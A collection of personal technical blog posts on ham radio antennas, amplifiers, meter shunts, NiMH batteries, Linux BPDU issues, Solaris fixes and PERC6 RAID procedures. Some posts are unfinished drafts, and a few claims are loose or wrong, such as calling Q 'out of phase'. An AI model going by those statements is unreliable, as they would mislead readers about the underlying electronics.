Despite the above attractive voltages which might convince a person to use a common automotive charger or a 13.8V float charger, the NiMH battery requires the current, not the voltage to be more carefully monitored.

Because of the above mentioned self-discharging behavior, this may be exploited to cyclically and "lightly" charge the battery. Top-off charging is not recommended. Duracell has provided guidance that a C/300 charging rate may be used to prevent voltage loss due to self-discharge. The author recommends a cyclical method of charging to compensate for self-discharge.

Finally, remember that when combining strings of battery packs, balancing resistors should be used, and if possible, each string should be charged independently of the other strings. This prevents one battery pack from becoming the recipient of excessive charging currents, should a battery fail in the pack. In large packs, the heat involved may cause a fire.

Packaging materials should be resistant to strongly alkaline solutions; nickel and stainless steel are recommended, but not brass or copper.

One should not solder directly to a NiMH battery. Use nickel strips spot-welded to the battery. Spot-welding limits the amount of heat the battery is exposed to in that operation.

Linux, FCoE, BPDUs, and Network Control

In the process of provisioning a server, I observed a reproducible problem:

 On RHEL 6.3 (the latest version), if fcoe-utils, fcoe-target-utils, and lldpad are installed - on execution of "reboot", the network port at the switch is disabled and the error given at the switch was a BPDU has been received and the port disabled.  The specific trigger is the presence of lldpad; this daemon emits a BPDU packet on shutdown which, upon reception causes the network port to be automatically disabled.   lldpad is a dependency of fcoe-utils; fcoe-utils is a dependency of system-kickstart-configurator.  This type of feature is called "Last Gasp" in some parts of industry, and is an attempt to maintain disk coherency when using Fibre Channel Over Ethernet (FCoE) by signaling to the other device that the first device is going offline. Fcoe-utils are not installed by default or by the guided installation process unless a package which depends on the fcoe-utils package is installed.

 A BPDU is a type of packet used in between switches and other devices in Spanning Tree Protocol (STP), IEEE 802.1d, and other protocols of that family.   The BPDU packet allows switches to communicate with each other and prevent cross-switch or same-switch network loops from impacting the operation of a network.  Such a loop exists if a user connects two network jacks together through a crossover cable, or if a user connects two network jacks together with an Ethernet switch or hub.  BPDUs are also used by Fibre Channel over Ethernet (FCoE) (a comparable protocol to iSCSI) to provide "rapid convergence" of a distributed storage network over Ethernet.  "Rapid Convergence" is a result of Rapid Spanning Tree Protocol (RSTP), 802.1w.  The FCoE standards inherit or borrow from other pre-existing protocol standards, including those for STP and RSTP.

Most large site networks are configured to disable a user Ethernet port if a BPDU packet is received on that user port.  This prevents users from installing unauthorized network equipment or causing network loops, either intentionally of inadvertently.  It is an unintended side-effect of the vendor's implementation of a loop-prevention mechanism that specific FCoE-related BPDU packets cause the mechanism to be activated and the corresponding user port to be disabled.

Linux's built-in bridging support (bridge, "brctl", "br2684ctl" on certain platforms, etc.) may also emit BPDU packets from a network card when a bridge virtual device is configured on the system and Spanning Tree Protocol (STP) is enabled on a bridge virtual device related to that network card.  The reception of such a packet on a campus network port configured for end-users causes the port to be automatically disabled, as explained above. This behavior is prevented by disabling STP on a per-bridge basis using the brctl utility included with most Linux distributions. This issue may impact other Linux systems which rely upon software virtual bridges, such as host-based virtualization platforms (KVM, qemu, etc.) but will vary from vendor to vendor.

My experience thus far is that KVM does not enable STP, or I set some magic variable a few months back that I have not been able to locate.

Impedance Mismatch Calculator


This website has been entirely too useful lately. To give you an idea of how:

Compare a source impedance of 50-ohms (and 0-ohms +J) to terminal loads of 25, 50, 75, and 110 ohms.

Compare a source impedance of 5-ohms (and 0-ohms +J) to a load impedance of 4-ohms or 8-ohms. Note the change in decibels and the return loss figures.

Never mind that it is for coax, for simple mismatch calculations, it works well.

Ammeter Shunts

Had an interesting question posed this afternoon, which later evolved into some experimentation. A fellow ham was building a project and looking for a specific ammeter, which I thought was odd because the range he specified I had not seen listed. Typically, meters are 0-1, 0-1.5, 0-2.5, 0-3, 0-5 and multiples thereof. He was specifically looking for a zero-to-two ampere ammeter. I suggested building a shunt, but he continued to search.

Later, I needed to test the meters and check some batteries out that were charging, so I sat down and figured up some multipliers for the voltage ranges needed. However, I hadn't built a shunt myself yet, though I knew the basic theory.

Here's a website that explains it in great detail, and gives some advice for building a relatively precision device. Here's another. And still further, here's a third. Wikipedia has an entry as well, but the past three websites solve the problems with formulas.

I started looking for calculators to speed the process. I found myself plugging values into this website to arrive at a resistance for the shunt resistor. This website on copper wire sizes and resistance includes a calculator at the top of the table. Of note, it lets you calculate the resistance of a length of a given gauge of wire.

Having recently acquired a FS=15mA (& 0.045V) and desiring to read 0 - 150mA instead of 0 - 15 mA, I plugged the values onto the first calculator.

Desired Full Scale Current (I) .150 amps
Meter Full Scale Current (IA) 15000 microamps
Meter Full Scale Voltage Drop (VA)  0.045 volts

Required Shunt Resistor (RP)  0.333 ohms
Resistor Wattage (P)  0.00608 watts

So one can see from the power dissipated that a power resistor is not required, and only 0.333 ohms of resistance is needed. From this point, I dabbled a bit until I came up to a conclusion of a relatively easy to find wire size that I had on hand, using the second calculator. Right about 2.01 feet of #32 got me to 0.33 ohms, which is close enough. I added a little wire to the ends because it is easier to remove wire than add it (particularly on a case like this, where minute resistances are important). I wound the wire around a screwdriver, tied it up with a bread-tie and installed it on the back of the meter. I then tested it by placing it between the battery and the charger, and placing a digital multimeter in series with it.

The digital multimeter confirmed that the meter shunt was working, and seemed to be amazingly dead on the money, considering the relative lack of precision associated with it's manufacture. Of course, not everyone has a roll of #32 magnet wire on hand for occasions like this, but the spool has served me very well over the years. Beware of inductive effects of wire loops when you're bundling the wire up.

So, when it doubt, make your own shunt unless you need repeatable laboratory grade readings or you're working with high-power/continuous-duty stuff. The beauty of analog meters is that unlike the digital multimeter (DMM), they don't cost you anything to run, and they don't consume batteries sitting idle. It's simple, it's fun, and best of all you get to make science when it happens. Analog meters work on current, and current is defined in both electronics and physics as the same thing (though the physics definition is a bit longer). Enjoy! :)


I = 5 A
Ia = 1000 uA (FS=1ma)
Va = 43 mV
Rp = 0.00860
P = 0.215

Works out to a little over six inches of 22 AWG hookup wire.

Weston Model 1011: 5mA - 0 - 5mA, 19.4mV full scale.

Rp: 0.00388 ohms
Rp: 0.0969


More Wireless Ideas for Ham Radio

2.400 GHz + 900 MHz = 3.300GHz
2.483 GHz + 900 MHz = 3.383GHz

900MHz can be derived from one of the VCOs in a 900MHz Motorola Maxtrac (the RX VCO is most appropriate, as it is not modulated), mixed with 2.4GHz from a WiFi card (using circulators if necessary so T/R PIN diode switches aren't necessary, nor the detection circuitry), and filtered using stripline, stubs, and pipe-cap (cavity) filters. Gain may be provided by MMICs, and power modules as well. No need to use fancy boards until you get into the receive side of things or to prevent the PA from ringing.

The result is that one can -- today -- build a 100Mbit/s link using a pair of 802.11n cards on 2.4GHz. And 3.3GHz - 3.4GHz is only half the band; there's another half to go (but the weak-signal guys will complain if you cover them up on 3.456 GHz) of the 200MHz band. One would have to source certain components from eBay, which means the supply of those parts is limited as they are often from surplus.

But what would one do with 100Mbit/s data between two places on the ham band? That's a great question. To date, my only thought has been digitizing RF on one side of the world and spitting it across the datalink to the other side. This is useful for remote repeater receivers, as one needs to determine the time between point A, point B, coding, repeating, buffering, etc. before comparing the two signals for quality and selecting one. But 802.11n is half-duplex by nature.

Windload Study of the AT&T Horn

This PDF contains a study performed by Colorado State University commissioned by Rose Engineering and AT&T to determine the loading effects of multiple horns mounted on a tower. Amazingly, it was discovered that at certain angles, the horns cause a wake which shields the horn behind it from the wind. A lot of boring tables, but check out the pictures.

Of note in this document:

* Windload numbers for 1, 2, and 4 horns at 100MPH
* Dimensions of both the pyramidal (KS-15676) Friis/Beck/Hogg Horn and the Gabriel horn (local copy) on Pages 91 and 93.

Voluntary Coordination in Ham Radio

I just read about the 3.65 GHz band that the FCC has released to be populated. The short version is this: You register with the FCC using ULS, pay the commercial fee ($260), then you register your station when you get your license. The license term is ten years. The band is only 50MHz, and you have to protect (not operate near or shield) the existing FSS ground stations:


My information came from here:


However, equipment is made that covers 3.3GHz to 3.8GHz. 3.3-3.5GHz is an Amateur Radio Service band under Part 97.

This got me to thinking that it may be possible in the future for hams to voluntarily coordinate activities with each other and the FCC by putting data into a public database. However, that data would have to be periodically verified and/or vouched for. This certainly could ease coordinating various operations throughout the ham bands, as one certainly wouldn't want to interfere with another mode unwittingly. However, there is a fixed amount of spectrum, so that has to be weighed as well. Voluntary coordination makes the most sense when it comes to repeaters and data links, as the bandwidth of data links makes them somewhat difficult to locate (finding a 100KHz wide carrier with a 7KHz (5KHz) wide FM radio is not terribly useful unless the radio has a signal strength meter.

It's certainly a nice thought.

Cute Biquad Yagi

Flower Pot Antennas

The "Flower-Pot" Antenna is an antenna designed to look like the PVC support in a large flower pot holding up a plant. The designer's intent was to make an antenna that looked like a real plant; in that respect, the flowers are made of plastic as well.



The half-wave is a basic half-wave dipole (quarter-wave radiator over a quarter-wave groundplane) with a coax choke at the base. This compares to many commercial designs, including the Motorola TAD1002, 1960s vintage "trombone" antenna.


The 1964 manual for the TAD1000-series coaxial VHF antennas   donated by Skipp   Description, Installation, Assembly, Parts. 150 KB PDF file
Covers the models TAD1001x, TAD1002x, TAD1003x, TAD1004x, TAD6071x, TAD6072x, TAD6073x, TAD6074x (where "x" is an "A" or a "B").

From: http://www.repeater-builder.com/antenna/ant-sys-index.html

Looking at the half-wave dipole, one can observe common elements.  Both antennae have a quarter-wave resonant radiating section, though the trombones use a folded dipole element for this purpose; the folded dipole provides a DC short for lightning, protects the receiver from high voltage static fields, provides structural support for the vertical element and changes the feedpoint impedance.  Both have RF chokes present, though it is not obvious from observation that the TAD1000 antenna does. This is because you have to see one up close and note that the lower section is a three-inch diameter brass sleeve mounted around a one-and-a-half inch diameter brass center support rod. In this manner, a coax choke/balun is built into the antenna.


This details how the quarter-wave coax balun and choke is implemented. Additional material on the subject is available in the ARRL and RSGB books; this object frequently appears in amateur radio microwave antenna designs.


The single 5/8-wave antenna uses a different approach to implement the antenna; a 0.2-wavelength stub is installed onto the coax in collinear fashion.


The dual 5/8-wave antenna uses a balun feed system similar to what MFJ used on an antenna they sell:


Dual-band half-wave:

This antenna uses external stub tuning, which is now some people have retuned Super StationMaster antennas for lower or higher frequencies.

Finally, the Dual-Band High-Gain Flower Pot:

My reading of this design, and the others causes me to make a critical point: drilling the PVC weakens it, and creates places where water can enter. Therefore, I suggest that if one builds any of these antennas for permanent external mounting on a tower, place a large diameter PVC or fiberglass pipe over the built antenna to provide additional structural support and weather resistance. 

Dell PS-2521-1D Power Supply

As I've discovered, and I'm sure someone knew, the Dell PS-2521-1D 550W power supply, used in the Dell PowerEdge 1850, is also an Astec DS-550. Astec has been purchased by EmersonNetworkPower, but they brought the product pages over. In addition to the mechanical drawings, there are pin-outs and a description of various signals present at the power connector.

http://www.powerconversion.com/power-supplies/websheet/310/DS450-550 http://www.powerconversion.com/power-supplies/ajax/datasheets.php?seriesID=310

The actual manual itself:

Local/backup copy

I have not attempted to modify the power supply yet to see if I can get more than 12V out of it, nor have a made noise measurements to see what sort of conducted noise it generates.

Hawg Fence Antenna

I came across this the backwards way and found myself trying to locate what type of antenna this way without any information about the design. Turns out to be a simple parabolic like FreeAntennas.com has, except it predates the design at that website. I found a one-sheet description by KD4SHH:


Solaris 10 and Locales


This page details how to add locales under Solaris 10. In short, if you need en_US, ISO-8859-1 and ISO-8859-15, install "nam".

# localeadm -a nam -d /install/cdrom/sol_10_811_sparc

/install/cdrom was created by:

# cd /cdrom
# rsync -arv . /install
# eject cdrom

Why else have 100GB in /home? =D

Solaris 10 Syslog Can't Resolve

After patching to the latest 10_Recommended, sendmail started complaining and a message like this appeared on the console:

writemsg(5): Logging msg 'syslogd: line 24: WARNING: loghost could not be
resolved' to FILE /var/adm/messages
The actual cause was that -- somehow -- /etc/inet/services had gone missing. Replacing this file fixed the problem. The entire time, getent, host, and nslookup were working. But Syslogd wasn't working correctly.

Inside a Conifer 2.4GHz Antenna Feed


The author takes apart a Conifer dish and explains the construction of the antenna.

Multi-level Doherty Amplifier

US Patent 6,700,444. N-way Doherty amplifier.

This is some neat stuff. While it can introduce some non-linearities to the resulting signal, this might be the secret to doing some neat stuff using multiple Class-C amplifiers. Specifically, I'm thinking about some of the older Motorola and GE amplifiers where they often used three or four amplifier bricks in parallel to achieve a given wattage out. To modify one of those, one would change the bias for each individual brick.


Now I wonder how a Class-C amplifier works in "overload". Obviously, if you've got one operating from say 5-55W and one from 55W-110W, you've got two ranges covered, so you should be able to produce power from 5-110W, continuously variable. Adding 0-5W would be trivial, but the input signal would have to be reduced to prevent overloads -- say by using a -10dB hybrid. The input signal would routed so that 90% of the power goes to the high-power amplifier input, and 10% of the power goes to the low power amplifier input. Well, your lower stages will go into clipping, but that isn't exactly the problem since the amp next power level up can "peak" when the lower one "clips".

NASA has done some work on unequal combining: Ka-Band Waveguide Hybrid Combiner for MMIC Amplifiers With. Unequal and Arbitrary Power Output Ratio. Simons, et. al.

Three Components of Amplification: Phase, Gain, and Distortion.

Phase adjustments are commonly made in the process of unequal combining, equal combining, and equalization to cancel out non-linearity. All corrections may be thought of as phase corrections, though implementation varies from one technique to another.

Transmitter linearity depends on the crossover point being controlled minutely and closely, either in the amplifier assembly itself or when combining amplifiers together.  The less an amplifier conducts, the more efficient it is. The more a transistor (or tube) is used in a switch-like manner -- either on or off -- the more efficient it is. In Class-A, Class-AB, and Class B amplifiers, it may be useful to think of the transistor as a variable resistor. A Class-C amplifier may be thought of as one half of a push-pull Class-B amplifier. A Class-D amplifier is a digital amplifier where the duty cycle of a switching transistor is varied according to the magnitude of output power required. This is commonly called pulse-width modulation (PWM). An Inductive Output Tube (IOT) may be thought of as elements of several amplifiers working together; indeed, it is. At various points of a NTSC television signal, the IOT acts as either a linear amplifier or a Class-C amplifier / RADAR magnetron. (With "digital television" becoming the dominant mode of broadcasting, the IOT is relegated to linear amplifier duty, at a derated power output rating from the rating used in NTSC service).

Too little gain results in poor efficiency; too much gain results in self-oscillation and spurious emissions.  Self-oscillation may be destructive in certain amplifiers. In RF amplifiers, it results in spurious emissions, mixing products, and/or excessive harmonics.

Amplifier Conduction Angles: Determining Amplifier Class Between Zero and 360 Degrees of a Sine Wave Carrier

In Class-A amplifiers, the amplifier conducts 360-degrees of the cycle of a sine wave that it is designed to amplify. Bipolar transistors require about 0.7VDC to "turn on"; this is related to the turn-on voltage of diodes, and varies according to application, design and manufacture. The Class-A amplifier is biased in such a way that the transistor is always conducting some small amount of power. This current is reduced to the lowest practical level by the circuit designer and is called quiescent current. This constantly flowing current results in heating when no signal is being amplified, and contributes negatively to efficiency. The transistor, constantly conducting even when quiet, is used as a variable resistor and accordingly heats up as output circuitry handles power.

In Class-B amplifiers, crossover distortion results when the signal switches between the turn-on point of two amplifiers which are configured to work on the opposite phase of each other. To put it another way, one half of the Class-B amplifier works on the negative part of the signal, the other on the positive. Bipolar transistors require about 0.7VDC to "turn on"; this is related to the turn-on voltage of diodes. Since diode (and transistor construction) vary by material and manufacture, this voltage may be lower or higher. Typically, Class-B amplifiers are built using matching or complimentary parts. When amplifying a sine wave, each half of the amplifier conducts about 180 degrees -- about, but not quite 180-degrees because of the turn-on voltage issue -- of the input signal, turning off for the other half of the cycle.

A Class-C amplifier is but one half of a Class B or push-pull amplifier, conducting less than 180 degrees for the entire cycle. Typically, the rest of the cycle is made up from a resonant "tank" circuit "ringing" or resonating slightly -- as if a glass might resonant after struck by a finger.

A Class-D amplifier operates like a

A Class-D amplifier is a digital amplifier where the duty cycle of a switching transistor is varied according to the magnitude of output power required. This is commonly called pulse-width modulation (PWM).

Modern transmitters use pre-distortion to manage crossover (voltage) distortion; they take advantage of the non-linearities of the amplifier, sample the result and calculate and generate an error signal. The error signal is then added to the input signal resulting in cleaner output after amplification.

The way this actually works in the analog and pre-digital or pre-DSP world is that the signal is distorted (squared, cubed, or raised-cosine) and the resulting harmonics are selectively applied to mostly correct the non-linearity without introducing more artifacts.  In the digital world, a complex mathematic number (a polynomial) is calculated from the sampled signal by a DSP or FPGA and sent to a DAC where it is turned into RF and combined with the input signal. So, in a way, two wrongs (the original non-linearity and the distorted product apply in an inverse fashion) make a right. Bell Labs experimented with this in various methods, Doherty, and so on. It is the basis of an equalizer, or an adaptive equalizer.

Bell had this figured out by 1940 by Bennett and used manually in L3, L4, L5 coaxial systems:

Bell System Technical Journal, v19: October 1940: Cross-Modulation Requirements on Multichannel Amplifiers Below Overload (PDF).

By the time microwave radio came into use, with various propagation phenomenon such as selective fading, etc. gumming up the works, it became necessary to make changes automatically. Bell people figured this out and a patent filed for June 8, 1973 and subsequently issued July 23, 1974: 3,825,843 (PDF). Other patents cite that patent that went on to evolve the mechanism until we get to today and DSP.

Interestingly, the patents don't seem to proliferate the technology as well the first decade or so. After the 23+ year period, people generally take the idea and apply it to everything. But I digress.

The caveat to multi-level amplification systems is that the resulting signals must be combined. Using a -3dB combiner, the crossover point has to be set so that the Class-C amp is used to maximum efficiency and the Class A or AB amp used at minimum.This gets complicated when a third amplifier is introduced, as the additional losses associated with that amplifier must be considered. Using our hypothetical example of a 55W-110W amplifier and it's close second 5.5W-11W amplifier, we discover that adding an additional branch may cause more trouble than it is worth. Crossover distortion causes trouble when combining dissimilar power amplifiers as well.

Consider the following:

The input signal is broken into three equal branches. Each of three amplifiers are biased at different levels, resulting in various conduction angles between the three of them.

Amplifier A is set at the lowest threshold, so this amplifier conducts almost 100% of the time (almost 360 degrees)
Amplifier B is set to conduct about 50% of the time (180 degrees).
Amplifier C is set to conduct 5% of the time (18 degrees).

Amplifier A will be continously in operation. Obviously, it is Class A, Class AB, or two halves of a Class B amplifier -- linear. Forward loss for it will always appear to be 0dB if the other two are operating at the same levels. If the other two are NOT operating, the apparent losses will be on the order of -6dB or so. This is because the hybrid combiner connecting all three amplifiers together imposes a loss in the forward signal if it is not in phase with the other signal. Additionally, if the second amplifier is not running, then the resulting power will be -3dB -- because one of the two amplifiers are running .

add section on breaking high power into two amplifiers, note that group delay increases.

Another approach to SDR

Earlier I wrote an article vilifying the authors of an article on Twist-Shift Keying (TSK), which is an attempt to modulate a signal in the polarization plane in a binary form. While there is no doubt that one could certainly do so, the method has not been used because the antenna matching is difficult. Cross-polarization loss from linear to circular polarizations is only -3dB (circular to linear or vice-versa). However, isolation (cross-polarization loss) between orthogonal modes of the same polarization mode (opposites of either linear/linear or circular/circular) is theoretically infinite, however practically reaches about -30dB.

However, thinking about SDR and methods to achieve power, I started thinking back to the Twist-Shift Keying (TSK) implementation method and realized that the parts themselves could be used to generate signals at power.

Traditionally, a SDR requires a linear amplification chain. Two-way radios do not typically have linear amplifier chains, as they are mostly FM and/or use FM-derived modulation methods. Accordingly, few radios have any linear stages in the transmitters, as Class C amplifiers provide about 80% efficiencies and linear amplifiers top out at around 50% unless modifications are made. (See Doherty.)

One of the basic problems with SDR is that QAM and QPSK modes cause modulation of the output power. This is not easy to achieve using a Class-C amplifier, as a Class-C amp can practically only handle so much modulation of the input power; speaking from a practical perspective, a Motorola Syntor X transmitter is only spec'd to run from 55W - 100/110W for the 100/110W radio and even then only certain models. However if one drives another radio at 180-degrees out from the first, the result is a null in power at the meeting-point, albeit at 100% power wasted. In other words, it's possible to use the amplifiers to create a linear amplifier, with all of the disadvantages of a linear amplifier.

However, working this backwards mentally, you arrive at the basic definition of RF as seen by an SDR: I & Q, or "In-Phase" and "Out of Phase". The further problem with this however is that when the I&Q are 180-degrees out and join, any slight offset (group delay) or (transmitter phase) noise will result in a generated sideband, spur or mixing product. Filtration requirements go up, waaay up. Think "those annoying high frequencies you might hear in your noise-cancelling headphones". Except all over the bands, and worse, at power levels large enough to concern the FCC. Think "transmitter mask filter" or "interdigital filter" and you're approaching the cost point -- which is why we don't see this approach used at this time.

So the basic approach is to use two DACs to generate a signal and combine them, then amplify. It may be possible to use two VCOs to accomplish the same goal, provided they can be phase-modulated in equal amounts from separate DACs at baseband. The Syntor X -- like the Maxtrac and many other radios -- generates a signal from the VCO on frequency, not offset.

However, if one wants to generate a signal at a lower frequency, like a reverse Tayloe-Detector (commutating modulator), some of those radios with doublers and tripplers make a bit more sense -- Like the GE Mastr II and the Motorola Mitrek.

SDR Resources


Finding HBA WWNs under Solaris 8, 9, 10

Meter Multipliers

I bought a Simpson 1329 AC voltmeter off of eBay, which had been modified by an outside company. I haven't figured out the details of the modification yet. The meter's face reads from 0 - 1500, FS=500uA and to use an external 3 megohm multiplier.

In this context, a multiplier means a resistor in series with a meter. In current-reading meters, a shunt resistor is used in parallel. Volts = series. Amps = parallel.

The meter didn't come with a multiplier or multiplier resistor. As I don't have a need to measure voltages at 1.5kV, dividing by ten gives me a useful range: 0 - 150VAC.

Now, a FS=1mA meter movement has a resistance of about 50 ohms, so this meter, having a 500uA meter movement has a resistance of 100 ohms. In order to drop most of this 150V, we need to put a 300kohm resistor in series with the meter.

500 uA = 0.000500 A = 0.5 mA

1500V / 500uA = 3,000,000 ohms
150V / 500 uA = 300,000 ohms
15V / 500 uA = 30,000 ohm
1.5V / 500 uA = 3,000 ohms
0.15V / 500 uA = 300 ohms
0.015V / 500 uA = 30 ohms
0.0015V / 500 uA = 3 ohms

Now you know some basics on making voltmeter dividers.

Another caveat: if the meter is a rectified meter like Simpson's Rectifier series, voltage near the bottom of the scale may be inaccurate unless at least 0.4 - 0.7 V appears across the terminals of the meter. This is because the diodes have to be "switched" on, or forward biased.

Slot-Fed Corner Reflector

Yes, it can be done.  Beamwidth is about 84 degrees from the -3dB points.

Slot-Fed Corner Reflector.png
This is interesting because when using a spacing of 1/10th (0.1) wavelength between the reflector elements, when you bridge across the final reflector elements, you have 0.75 wavelength -- which is exactly how long an Alford Slot antenna is, when designed for 0.5 wavelengths.

Kraus & Jasik, as well as other literature (Carr) suggest that the spacing between wires -- the openings between the wires -- is not less than 1/10th of a wavelength. This rule is repeated all over antenna literature when reflector elements are involved.

The Alford slot is a shorted slot antenna which radiates in the opposite polarization as the slot. A vertical slot cut 0.75m long into a longer pipe will resonate at a wavelength of one meter, as it appears to be equivalent to a half-wave dipole (f=300MHz, lambda = 1m).

Slot-Fed Corner Reflector-1.pngSlot-Fed Corner Reflector-2.png

Slot-Fed Corner Reflector-3.png
Slot-Fed Corner Reflector-4.png
Slot-Fed Corner Reflector-5.png
Slot-Fed Corner Reflector-6.png
Slot-Fed Corner Reflector-7.png
In short... it just works, as a random assemblage of related parts.

Shively Modeling


Yes, it's true. Shively builds models and tries things out at higher frequencies. The above PDF shows that for a model at 91.1MHz, Shively actually built and tested the inter-bay spacing at 409.95 MHz.

Great idea, and only a few megahertz from the ham band... oh, to mix work and play....

Building Antennas from Scratch

Midnight madness has me, and I am trying to find the answer to an idea.

So my thought is to make a four-sided corner reflector array, with each side of the 90-degree corner being an independent array.

At two meters.

So this creates some interesting problems:

First, the antenna itself will be a half-wave dipole, which means the reflector should be larger than it. So now we're looking at reflecting surfaces more than one meter tall, and one meter out from the center, which limits the options.

Second, the reflector itself has to be considered. Metal window screen? Hardware cloth? Chicken (hex) wire? Chicken wire comes in 48" widths; at 25 ft piece is $20. Then you have to get into attachment: how? Fold it over a straight-edge and clamp it? The objective is to be able to assemble and disassemble without breaking parts or needing a lot of work. Obviously, pieces that nest are great, and pieces that roll out are better.

If screen material is to be used, is it cheaper to buy a pair of screen doors and mount them at a hinge to each other? The doors are $20 each, but have the limit that they do not fold in half, limiting transportation options.

Finally, there's reflective mylar sheets, but since they do not admit air, they will act as airfoils and present windload issues. Then one has to figure out how to keep them in tension so they are reasonably flat. Fiberglass sticks? PVC is nice, but EMT is stronger. Flexibility in the core (center) shaft isn't really desired.

A ton of software


John Tonne has put together a lot of programs and posted them there for free. Among them is a program to make faces for analog meters, which has entirely too many options.


Considering what he offers, the $35 package isn't a bad idea, but you have more options than you know what to do with.

John also has a great treatise on AM demodulators and linearity. If you're researching basic radio theory, it's worth a read:


The basic concepts of AM and FM modulation are of interest to anyone doing software-defined radio (SDR).

Parasitic Antenna Elements


I just ran across this, and I was struck by the concept of a parasitic ring element for an antenna. I've seen dipoles before, but not a ring. This warrants research, of course.... It's a neat idea for driving a dish without much interference/blockage.


This is an interesting concept as well. The standard 2m dipole has a pair of parasitic elements added that allow the antenna to be used at 70cm. I have to wonder how far one can stretch this concept; for instance, adding elements for 915MHz and/or 1270MHz. One can probably add parasitic elements to a 10m vertical and cover 6m, or 2m elements to a 6m antenna. The question is: Do you have the real estate?

This link explains the theory a little better:


Adding Environment Variables Automatically On Login

This website:

Documents this solution to auto-adding proxy or environment information to your user's profiles or shells. This works for RedHat Enterprise Linux 6.2.

create the following files in /etc/profile.d, and then this will work in *any* shell for *any* user of the system

export http_proxy=http://host.com:port/
export ftp_proxy=http://host.com:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://host.com:port/
export FTP_PROXY=http://host.com:port/

setenv http_proxy http://host.com:port/
setenv ftp_proxy http://host.com:port/
setenv no_proxy .domain.com
setenv HTTP_PROXY http://host.com:port/
setenv FTP_PROXY http://host.com:port/

The files don't have to be set executable. When the next person logs in, those environment variables are automatically added to the user's environment, so the proxy is auto-configured for them.

Stupid PERC6 Tricks


I've discovered, quite by accident, a reliable way to clone one system to another using only the SAS hard drive controller, the PERC6 (LSI Logic).

When a pair of drives are installed in a system, the PERC6 will 'claim' the blank drives and put some data on them for management. This data relates to the drive, drive position in the enclosure, and the drive's unique descriptors like the WWN. If these drives appear in another RAID controller's configuration, that RAID controller will consider those drives as a Foreign Configuration, or Foreign Config for short. By default, the PERC6 will not do anything with these drives.

Certain circumstances will cause the PERC6 to automatically start a rebuild if a drive is in a degraded state. Experience has shown that the RAID controller 'does the right thing' when a bad drive is removed and is replaced with a blank drive. Another way is if an array is in a degraded state and a designated or global hot-spare becomes available. However, if a drive contains data on it, or a previous configuration, the PERC6 will not automatically import that configuration, nor will it overwrite the data. In this way, the PERC6 may recover without rebooting and going into the RAID BIOS. However, for situations which warrant it, such as advanced intervention, the user is forced to enter BIOS to manipulate the settings.

In this example, I will be using three servers, Blade1, Blade2, and Blade3. These may be abbreviated "BL1," "BL2," and "BL3." For hard drive one, I will use "HD0" and for hard drive two I will use "HD1". Blade1's first hard drive is BL1HD0 and Blade 3's second hard drive is BL3HD1.

First, the desired image is created using Blade1, with both BL1HD0 and BL1HD1 loaded and configured as a mirrored RAID set. One the image been built and the drives are synchronized, the server is powered down.

At this point, all hard drives are removed and labeled for current location. Blade 2 is booted with BL1HD0 in hard drive slot one. Blade 3 is concurrently started with BL1HD1 in slot two. The remaining slots are kept empty.

Upon booting, the RAID BIOS notices a large change in configuration and offers to the user to Import the Foreign Configuration or enter the setup utility. One should enter the setup utility.

From the setup utility, a new "tab" appears in the menu at the top: "Foreign Config". Operations may normally be navigated by using "F2" to produce a menu of options and Alt+N for switching between the pages (tabs).

Navigating to the VD (Virtual Drive) tab, one may notice that, at the controller level, there is no configuration, or a missing configuration. Hitting "F2" at this point will produce a menu with a number of options, one of which is "Foreign Config", with the sub-options of "Import" or "Clear".  Take note of this: disaster is a keystroke away.

By selecting Import Foreign Config, the original drive configuration will be removed from the controller memory and a new one supplanted. Immediately, the system should show that two hard drives are configured, one is present, and one is missing.

At this point, one of the original hard drives should be reinserted into the empty slot. BL2HD1 and BL3HD0 are inserted into the respective vacancies left from earlier activity. "F5," or "Refresh" is applied after the drives have spun up.

The BIOS shows no change to the existing configuration. Switching to the "PD" or Physical Drive tab (Alt+N), note that one drive is Online and the other is Ready. Flip over to the VD page, make sure the cursor is on the Controller-level.
Hit "F2", and select "Clear Foreign Configuration".  Switch back over to the PD page and highlight the drive which is Ready. Press F2, and select "Make Global Hotspare". Select "Yes" to give priority to the enclosure. This will make the array rebuild faster. Page over to VD again and notice that the array is now rebuilding and a progress meter is present.  Rebuilding will continue into the recently installed original drive has been mirrored.

Once the mirroring process has finished, the "borrowed" drive should be pulled from the chassis. The borrowed drive will be marked as "bad" by the RAID controller, which will shift to the remaining drive to as the 'good' drive.

Now the original drives should be re-inserted into their respective systems and slots. BL1HD0 and BL1HD1 are re-installed, and BL2HD0 is installed. BL3HD1 is installed in Blade 3, hard drive slot two. The process is repeated, removing the foreign config, making the 'new' drive a Global Hot Spare, and rebuilding completed.

Blade 1 usually experiences some issues because it's drives have been in a foreign server, so one of the drives may come up as foreign even after the foreign config has been imported. At this point, the 'bad' or 'missing' drive should be manually made a Global Hot Spare. The PERC6 will start rebuilding that drive.

Once rebuilding has started, the systems may be booted, as the mirroring operation will continue until it completes without majorly impacting operations. 

Recovering From a Lost Configuration

It was discovered that a server which has a PERC6 had no configuration information present in it. Talking with the admin, it was discovered that the Import Foreign Config had already been performed. Since the server is remotely located, it is known that nothing changed about this system. The BIOS showed two hard drives in the "Ready" state and no virtual drive configured. The "Action" options were "Clear", "Create", and "Manage Persistent Cache". "Import" was greyed out.

Realizing there was no option at this point except to rebuild the machine, the "Create" option is exercised to attempt to recreate the virtual drive, which is not present in the configuration. Everything else being the same, as long as the drive geometry is the same, the system should boot. However, the BIOS would not let the administrator create a new virtual drive.

After some consternation and head scratching, this "Manage Persistent Cache" option was explored. In that option, the controller showed that it still had data in the cache from the previously defined virtual drive. Further, the verbiage explained that if data is present in the cache, 'certain operations' will not be performed.

I made the call to wipe out the cache. It was done. From here, the administrator recreated the Virtual Drive using the defaults. This process presented the least amount of change and the best possibility of not damaging the drive. The RAID controller now displayed that a virtual drive existed, and that two hard drives existed in that configuration. Further, it reported that Drive 00 (Enclosure 0, Slot 0) was failed, and that Drive 01 was fine. I told them to boot the system, and it reached the login screen; back to normal, just one hard drive down.

I hope your RAID hijinks aren't nearly as fun. I earned my fee; the trip it saved and the triage time spent on the server cost more than my hourly rate.

Amateur Radio and 'Served Agencies'

I've been listening to Steven Lampereur (KB9MWR) rant on YouTube about ARES/RACES and "Emergency Communications". It's linked here: http://www.youtube.com/watch?&v=N7OtmQ11ssw

